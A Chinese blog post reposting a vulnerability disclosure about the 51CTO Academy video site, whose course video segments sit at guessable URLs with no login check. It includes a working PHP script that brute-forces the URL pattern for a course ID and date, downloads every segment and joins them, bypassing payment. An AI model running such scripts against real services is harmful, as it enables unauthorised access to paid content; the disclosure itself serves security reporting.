做有为青年

今天离辞职还有两天,发一个不咋滴的消息给大家看看

 

本文出处来自:“白帽子猪猪侠”

简要描述:

最近无意间发现51CTO推出了51cto学院视频。感觉挺不错的,所以就去看看。发现视频的规则和权限设置不当,或可被爆破,无需付金币

详细说明:

最近无意间发现51CTO推出了51cto学院视频。感觉挺不错的,所以就去看看。发现视频的规则和权限设置不当,或可被爆破,无需付金币

漏洞证明:

简单的看了几个视频对应的URL地址,发现了一些规律性的东西,比如说下面的地址

http://v1.51cto.com/2014/07/25/33923/general/loco_video_203000_2.ts

首先确认了,不需要登录就可以下载了。所以说明没有做任何权限判断和过滤,至于ts应该是视频的一个个片段。2014/07/25这个一看就是发布这个课 程的时间。33923就是课程的ID。然后后面就有点雷同了。203000,经过研究发现,大部分情况,后面三个都是0.前面是一个三位数,代表什么意思 不知道。但是好像都不会超过400.后面的_2.ts代表的是视频的片段2.



经过这样的分析,如果我们手动尝试爆破,肯定就很费事。于是写了一个php脚本测试。还真可以获取成功。说明一种爆破的可能性,代码如下,仅供学习参考

code 区域
<?php
//lesson id
$id = '31465';
//lesson publish year
$year = '2014';
//lesson publish month
$month = '07';
//lesson publish day
$day = '14';

if (is_dir('tmp'))
rrmdir('tmp');

$split_cmd = '';

for ($j = 100; $j < 4000; $j )
{
$url = 'http://v1.51cto.com/'.$year.'/'.$month.'/'.$day.'/'.$id.'/general/loco_video_'.$j.'000_0.ts';
$arr = get_headers($url);
echo 'test url: ',$url,PHP_EOL;

if ($arr[0] != 'HTTP/1.0 200 OK')
continue;

echo 'have fun, we find video',PHP_EOL;
sleep(3);

for ($i = 0; $i < 1000; $i )
{
$url = 'http://v1.51cto.com/'.$year.'/'.$month.'/'.$day.'/'.$id.'/general/loco_video_'.$j.'000_'.$i.'.ts';
$arr = get_headers($url);

if ($arr[0] == 'HTTP/1.0 200 OK')
{
echo $url,PHP_EOL;
if (!is_dir('tmp'))
mkdir('tmp');
file_put_contents('tmp/'.$i.'.ts', file_get_contents($url));
$split_cmd .= $i.'.ts ';
}
else
{
echo 'all video split download finish, see result.ts',PHP_EOL;
break 2;
}
}
}
if (!is_dir('tmp'))
echo 'sorry, video not find';
else
{
$cmd = 'cd tmp && copy /b '.substr($split_cmd, 0, -1).' result.ts';
echo 'execute command: ',$cmd,PHP_EOL;
exec($cmd);
}


function rrmdir($dir) {
foreach(glob($dir . '/*') as $file) {
if(is_dir($file))
rrmdir($file);
else
unlink($file);
}
rmdir($dir);
}



测试结果

 

posted on 2016-03-22 11:35  做有为青年  阅读(293)  评论(0编辑  收藏  举报

导航